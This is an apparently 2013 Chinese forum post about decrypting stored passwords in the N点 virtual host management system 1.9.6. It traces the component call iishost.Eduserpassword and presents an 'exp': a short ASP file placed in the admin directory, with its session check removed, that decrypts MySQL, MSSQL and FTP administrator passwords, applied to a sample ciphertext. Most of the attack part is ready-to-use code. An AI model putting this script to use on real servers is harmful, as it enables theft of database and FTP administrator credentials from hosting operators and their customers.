虚拟主机1.9.6版密文解密-讨论-IT171中文网-技术源于分享-IT大佬

虚拟主机1.9.6版密文解密

IT171中文网游客组 2013-6-29 1912

0x2:测试环境

VMware9.0 wind2003 zkeysphp N点虚拟主机管理系统1.9.6个人版本次测试环境。

搭建好配置好如图：

0x3:分析过程

一般找有数据库连接的地方我们在开发的时候一般的过程都是在数据库连接的地方将其加密

例如php 一般是这样加密的

md5(request['moon'])

然后传进sql语句里面。这样找就简单多了。因这里环境只是装了一个mysql 所以找mysql相关的页面搜索一下mysql相关页面找到admin/mysql.asp 现在我们进来看看

01 

02 

03 

04 

05 

06 <html>

07 <head>

08 <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

09 <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

10 <title>Powered By npoint</title>

11 <link href="../css/style.css" rel="stylesheet" type="text/css" />

12 <script src="../js/ajax_x.js" type="text/javascript"></script>

13 <script src="../js/alt.js" type="text/javascript"></script>

14 </head>

15 <body><%

16 set iishost=server.createobject("npoint.host") '加载组件

17 rs.open "Select * from hostcs",conn,1,1

18 mysqlip=rs("mysqlip") 'MYSQL/IP地址

19 mysqlport=rs("mysqlport") 'MYSQL/端口

20 mysqlroot=rs("mysqlroot") 'MYSQL/管理员账号

21 mysqlpass=iishost.Eduserpassword(rs("mysqlpass"),0) 'MYSQL/管理员密码

首先加载组件查询字段内容赋值给各个变量

iishost.Eduserpassword(变量,0)
这个是关键的加密解密函数 1表示加密 0表示解密

如图所示：

msql mysql ftp加密解密全都是这个函数。

0x4：编写exp

n点系统是加密是随机的所以单独写解密脚本不靠谱，要在原来的n点目录admin下面新建一个文件（这里是hash.asp），记得不能在本地因为加密字符不一样的，复制刚才的代码。

01 

02 

03 

04 

05 

06 <%

07 set iishost=server.createobject("npoint.host")

08 pass=iishost.Eduserpassword("密文字符串可以是mysql mmsql ftp",0)

09 response.write pass

10

11 %>

1 

2 
这两段可以不要因为要后台session验证没账号密码的你还要伪造直接去掉简化后得此

1 

2 

3 

4 <%

5 set iishost=server.createobject("npoint.host")

6 pass=iishost.Eduserpassword("密文字符串",0)

7 response.write pass

8

9 %>
0x5：实践证明

数据库mysql 加密如图：

脚本如下：

1 

2 

3 

4 <%

5 set iishost=server.createobject("npoint.host")

6 pass=iishost.Eduserpassword("WMBXJVGUIM7XVQ53FXAFCLO0B@GDOIOAC@OMKJGLE@OCBFMEH@BGNKJKAH@JGNA@ODMMOI@JJHHACLBFDFIJCGCEGODNANAKGOBDIHHNCLFJBKJFCCI@KKHMIKNICCDIDMNGKBNINILBLOPC@MCDCEBCMHCGEDKEMNOEFMOFOLCOAAFAJHDOIELKFGL@GIAD@LCEMBGGDCJFGDFCOJ@NAK@B",0)

7 response.write pass

8

9 %>
解密如图：